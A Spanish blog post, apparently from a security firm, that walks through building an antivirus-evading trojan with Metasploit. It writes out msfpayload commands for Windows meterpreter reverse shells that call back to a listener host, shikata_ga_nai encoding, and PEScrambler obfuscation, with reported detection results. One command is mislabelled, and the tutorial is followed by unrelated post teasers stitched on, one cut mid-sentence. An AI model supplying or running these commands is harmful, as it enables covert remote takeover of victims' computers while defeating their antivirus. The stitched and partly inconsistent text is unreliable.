En este artículo vamos a ver a ver cómo crear un troyano que no detecten los antivirus, elemento en cuya protección la mayoría de usuarios y empresas delegan toda la seguridad de sus equipos.
Obviando proyectos tan interesantes como http://www.flu-project.com, lo cierto es que fabricar un troyano indetectable por los antivirus puede ser relativamente fácil. Una herramienta que nos permite realizar este tipo de tareas, y con la que toda persona que se dedique a seguridad debe estar familiarizado es Metasploit, así que vamos a realizar diferentes pruebas con Metasploit y sus payload.
Metasploit tiene diferentes módulos que nos pueden ayudar a crear nuestro troyano. Los más comunes son reverse_tcp y reverse_https. Metasploit nos propone varias opciones para hacer nuestro troyano un poco más indetectable para los antivirus, pero primero vamos a hacer un par de pruebas sin ninguna de estas opciones. La máquina que va a estar escuchando es la 192.168.56.102 y la que va a ser infectada la 192.168.56.101.
Primero creamos uno con el módulo reverse_tcp
msfpayload windows/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.56.102 X >reverse_tcp_1.exe
Ahora otro con el modulo reverse_http
msfpayload windows/meterpreter/reverse_tcp LPORT=8080 LHOST=192.168.56.102 X >reverse_http_1.exe
Probamos que todo ha funcionado correctamente:
Reverse_HTTP:
Reverse_TCP:
Ahora que sabemos que todo funciona, pasamos los dos ejecutables por virustotal a ver que resultados nos dan. Como vemos, los resultados son bastante esperanzadores, más de la mitad de los antivirus lo detectan.
Metasploit tiene diferentes módulos para encodear los ejecutables, vamos a usar el shikata_ga_nai:
msfpayload windows/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.56.102 r |msfencode –e x86/shikata_ga_nai –c10 –b ‘\x00’ –t exe –o reverse_tcp_encoded.exe
msfpayload windows/meterpreter/reverse_http LPORT=8080 LHOST=192.168.56.102 r |msfencode –e x86/shikata_ga_nai –c10 –b ‘\x00’ –t exe –o reverse_http_encoded.exe
Los resultados son muy parecidos a los anteriores:
Como no cesamos en nuestro empeño, hay otra utilidad que nos puede servir de ayuda: PEScrambler. Es una utilidad que cambia pequeñas porciones de código de sitio.
El uso es muy fácil:
PEScrambler.exe -i reverse_tcp_encoded.exe -o reverse_tcp_encoded_PES.exe
PEScrambler.exe -i reverse_http_encoded.exe -o reverse_http_encoded_PES.exe
Aquí vemos como los resultados mejoran considerablemente:
Como muchos de vosotros sabéis -y para los que no, os lo contamos ahora-, desde S2 Grupo tenemos en marcha diferentes líneas de trabajo relativas a la concienciación, a la consolidación de una cultura de seguridad que, a todos los niveles, trate de introducir la seguridad en nuestro día a día, más allá del ámbito profesional en el que todos nos movemos: colectivos especialmente desprotegidos, ciudadanos, etc. 
Hace un par de semanas llegó a mis oídos la existencia de una herramienta open source que nos puede ser útil a la hora de realizar las primeras fases de un pentesting: reconocimiento y mapping de servicios. Realizar estas primeros pasos de forma concienzuda puede hacer que las siguientes fases de nuestro pentesting puedan ser más dirigidas y eficaces a la hora de encontrar las posibles vulnerabilidades de nuestro objetivo.
Ya se ha hablado varias veces en este blog de las bondades que nos ofrece Python, se han recomendado lecturas y algunas librerías útiles en el mundo de la seguridad, pero como me considero una persona organizada y me gusta tener todo centralizado, inicio mis andadurías por este blog con una serie de artículos dedicados al uso de Python en el pentest.
Bajo este título tan gore, quería comentar un 
Un amigo mío tiene un amigo que es investigador experto en una de las principales instituciones de investigación francesas y le contaba, hace un par de días, que su grupo está preparando una propuesta para un proyecto de investigación junto con otros socios europeos, propuesta que debía presentarse esta semana. 